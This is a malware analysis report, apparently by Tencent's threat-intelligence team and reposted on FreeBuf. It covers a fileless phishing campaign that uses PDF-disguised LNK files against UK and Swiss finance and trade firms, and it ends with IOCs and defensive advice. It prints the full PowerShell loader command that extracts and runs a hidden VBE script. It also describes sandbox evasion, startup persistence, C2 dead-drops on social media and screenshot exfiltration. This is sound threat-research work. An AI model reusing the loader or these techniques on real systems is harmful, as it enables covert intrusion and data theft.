使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

2018-12-18 174195人围观 ,发现 4 个不明物体 数据安全网络安全

一、概述

近日,腾讯御见威胁情报中心在日常的恶意文件运营中,发现了几个可疑的钓鱼lnk(伪装成快捷方式文件的攻击程序)。经过分析发现,这些lnk构造巧妙,全程无PE文件落地(Fileless攻击),并且把解密key和C2存放在了twitter、youtube等社交站点上。

从关联到的样本来看,攻击针对英国、瑞士等欧洲国家,攻击目标为外贸、金融相关企业。暂时还不详具体的攻击者背景,望安全社区同仁一起来完善攻击的拼图。

该APT组织攻击手法的一些特点:

1.诱饵文件为压缩包中伪装成PDF文档的LNK文件(LNK默认是快捷方式,恶意程序执行后会打开一个欺骗性的PDF文件,这个组合极有欺骗性);

2.攻击过程中,全程无PE文件落地,巧妙避开安全软件的常规检测;

3.攻击程序会判断电脑是否安装网络嗅探工具(wireshark和Nmap,通常为安全研究人员用于网络抓包分析),如果有,就不执行木马核心功能;

4.通过youtube、twitter、Google、wordpress.com的公共空间更新C2,存放解密代码;

5.收集目标计算机名、杀毒软件信息、系统安全时间、系统版本等情报,定时截屏上传;

6.检测是否存在虚拟机等特殊软件。 

二、技术分析

1.攻击诱饵

本次攻击的诱饵是一个zip压缩包,名字为:Dubai_Lawyers_update_2018.zip,压缩报里包含2个lnk文件:

1.png

而lnk为攻击者精心构造的恶意lnk,点击运行lnk后,会触发执行包含的恶意代码:

2.png其中,压缩包里的两个lnk的内容类似,我们以其中一个为例进行详细分析。 

2.lnk分析

运行lnk后,执行的恶意代码如下:

Cmd.exe "/c powershell -c "$m='A_Dhabi.pdf.lnk';$t=[environment]::getenvironmentvariable('tmp');cp$m $t\$m;$z=$t+'\'+@(gci -name $t $m -rec)[0];$a=gc $z|out-string;$q=$a[($a.length-2340)..$a.length];[io.file]::WriteAllbytes($t+'\.vbe',$q);CsCrIpT$t'\.vbe'"

该命令的主要功能为:

1)将dubai.pdf.lnk文件复制到”%temp%”目录;

2)将lnk文件结尾处往回2340字节的内容,写入“%temp%\.vbe“文件中;

3)利用cscript.exe将vbe给执行起来。

写入的.vbe文件为使用Encoded加密的脚本文件:

3.png解密后内容如下:

4.png5.png

3.Vbe脚本分析

先将lnk文件从文件头开始,偏移为2334,大小为136848字节的内容写入“A_Dhabi.pdf”,该文件保存在temp目录,而该文件确实为一个pdf文件。接着打开该pdf文件,让受害者误以为只是简单得打开了一个正常的pdf文件而已:

6.png打开的pdf文件如下:

7.png接着将lnk文件中pdf文件之后的338459字节的内容,写入“%temp%\~.tmpF292.ps1”文件中,该文件为powershell脚本:

8.png最后将接下来的读取位置写入”%temp%\~.tmpF293”文件中,并利用powershell将“~.tmpF292.ps1”文件给执行起来:

9.png4.~.tmpF292.ps1分析

原始的ps1脚本是经过加密后的脚本:

10.png经过解密后,发现两个特殊的明文字符串:

“Lorem Ipsum is simply dummy text of the printing and typesettingindustry. Lorem Ipsum has been the industrys standard dummy text ever since the1500s” 和“when an unknown printer took a galley of typeand scrambled it to make a type specimen book. It has    survived not only fivecenturies but also the leap into electronic typesetting remaining essentiallyunchanged.”

这两个字符串没有参与加密代码的计算,基本上没有任何意义。

而使用搜索引擎搜索该字符后发现,该字符串是为了排版测试的:

11.png12.png

加密的代码经过解密,代码逻辑就十分清晰了:

13.png其中, $code = @”到”@部分为powershell里调用的c#方法,后面为powershell脚本命令。

该powershell脚本的主要功能为:

1)使用WMI,检测安全软件,包括AVG、AVAST,若存在,则删除中间文件,然后退出;

14.png2)判断是否有wireshark和Nmap,若存在,则不执行木马核心功能;

15.png3)从~.tmpF293”文件中获取文件偏移,然后从lnk文件中读取信息,然后存入“%temp%\ ~.tmpF291”目录中,涉及到的文件名有~.tmpF222.tmp、~.tmpF295.ico、~.tmpF299.vbe;

16.png4)继续会从lnk中读取第二阶段的payload,并利用网上获取到的key对payload进行解密并执行。若网络不通未拿到key,就将第二阶段的payload以加密状态存储在“%temp%\ ~.tmp.e”文件中;

17.png5)如果“%temp%\ ~.tmp.e”文件存在,会利用从网络上获取的key去解密此文件,得到第二阶段的payload文件“~.tmpF294.ps1”,并执行此文件。

18.png

6)获取解密key的url,存储在tmpF222.tmp文件中:

19.png获取到url如下:

https://youtu.be/40rHiF75z5o  

https://brady4th.wordpress.com/2018/11/15/opener/

https://twitter.com/Fancy65716779

https://plus.google.com/u/0/collection/U84ZPF

然后,从这些url中获取相应的解密代码,其中:

“Yobro i sing”字符串开始的位置为stage2 payload的c2;

“My keyboard doesnt work”开始的字符串为解密key:

20.png

21.png

22.png23.png

24.png从文章的发表时间,我们猜测,真正的攻击开始时间发生在11月15日和11月18日。

7)持久性攻击:在startup目录创建快捷方式,快捷方式会cscript.exe将“~.tmpF291“目录 中的” ~.tmpF299.vbe“文件给执行起来,快捷方式图标为” ~.tmpF295.ico“

25.png“~.tmpF299.vbe”解密后内容如下:

26.png

5.Stage2(~.tmpF294.ps1)分析

~.tmpF294.ps1为stage2的脚本文件,同样经过了加密,解密后可以发现与真正的c2通信等功能都在此ps脚本中。

1)使用WMI命令收集相关计算机信息,然后以json格式发送给C2:

27.png28.png收集的内容包括计算机名、机器名、杀软信息、系统安装时间、系统版本等。格式中还包含“ace”、“dama”、“king”、“joker”等字样。

2)检测虚拟机等特殊软件:

29.png

30.png3)检测wireshark、winpcap、Nmap等特定软件是否安装:

31.png

32.png4)从twitter、youtube、google、wordpress等网站更新C2:

33.png5)定时截屏并发送:

34.png

35.png6)执行C2下发的powershell脚本:

36.png7)隐藏“%temp%\~.tmpF291”目录,特殊的存储路径“AA36ED3F6A22”为ip存储路径、“E4DAFF315DFA”域名存储路径、“~.tmpF297.tmp”为c2下发的序列号存储路径。

37.png

38.png8)根据服务器指定修改定时截屏时的画面质量及频率:

39.png

40.png

三、关联分析

1.样本拓线:

经过C2的反查,我们又查到找其余几个相同的样本:

41.png

Confirm.pdf.lnk,d83f933b2a6c307e17438749eda29f02
Gift-18.pdf.lnk,6f965640bc609f9c5b7fea181a2a83ca

而这两个lnk同样来自于一个zip压缩包:Gift-18.zip

42.png经分析,这两个lnk跟分析的lnk为同一个攻击。而压缩包中还包含了一张图片:

43.png释放的pdf如下:

44.png继续关联,我们又发现了另外2个lnk:

ecamos_Volatility_Strategy_2X.pdf.lnk:540bc05130424301a8f0543e0240df1d
p2_ecamos_Volatility_Strategy_2X.pdf.lnk:38b777dfd5f153609ad6ff8cff1bdedc

运行后,pdf内容如下:

45.png

46.png我们猜测,该次攻击对象为瑞士的金融机构和贸易公司。该lnk获取解密key的url为:

https://twitter.com/sabinepfeffer69/status/928607342177988608

https://mads281.wordpress.com

https://www.youtube.com/watch?v=ZRQ-1I856XA

跟上述分析的一致。

2.攻击中的相关元素

1)攻击的某个诱饵pdf来自于英国政府网站:https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/754075/Dubai_List_of_Lawyers_-_Nov_2018.pdf

47.png2)某个诱饵pdf里的图片里的公司的信息:

48.png该图片来自:http://i68.tinypic.com/jtntyd.jpg

3)存放解密信息的博客https://brady4th.wordpress.com中的第一条信息,引用了一句名人的话:

49.pngIzaakWalton为一个英国的作家:

50.png4)youtube中的电影:

51.png该电影为一个法国电影,被称为世界上第一部恐怖电影。

52.png5)此外还有不少字符串信息,如dubuk7、dama、AshleyBrady、brady4th、Fancy65716779、Pansy Radon、sabinepfeffer69、mads281、The Obsidian Cloud Casino v1.0等。不过并未搜索和关联到更多的信息。

3.攻击背景

从攻击对象来看,主要是英国、瑞士的相关外贸机构和金融机构。而攻击者角度来看,作者并未留下太多可追溯的确切证据。而从使用lnk钓鱼、fileless攻击的组织来看,似乎APT29更接近,不过暂未发现任何证据指向该组织。因此我们也希望更多安全社区同仁一起合作,来完善该次攻击的拼图。

四、安全建议

1.不要打开不明来源的邮件附件;

2.及时打系统补丁和重要软件的补丁;

3.使用杀毒软件防御可能的病毒木马攻击;

4.使用腾讯御界高级威胁检测系统。御界高级威胁检测系统,是基于腾讯反病毒实验室的安全能力、依托腾讯在云和端的海量数据,研发出的独特威胁情报和恶意检测模型系统。

53.jpg五、附录(IOCs)

MD5:

e1718289718792651fa401c945c17079

3b359a0e279c4e8c5b781e0518320b46

6f965640bc609f9c5b7fea181a2a83ca

d83f933b2a6c307e17438749eda29f02

540bc05130424301a8f0543e0240df1d

38b777dfd5f153609ad6ff8cff1bdedc

IP:

54.38.192.174

url

https://youtu.be/40rHiF75z5o 

https://brady4th.wordpress.com/2018/11/15/opener/

https://twitter.com/Fancy65716779

https://plus.google.com/u/0/collection/U84ZPF

https://twitter.com/sabinepfeffer69/status/928607342177988608

https://mads281.wordpress.com

https://www.youtube.com/watch?v=ZRQ-1I856XA

*本文作者:腾讯电脑管家,转载请注明来自FreeBuf.COM

发表评论

已有 4 条评论

取消
Loading...

特别推荐

推荐关注

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php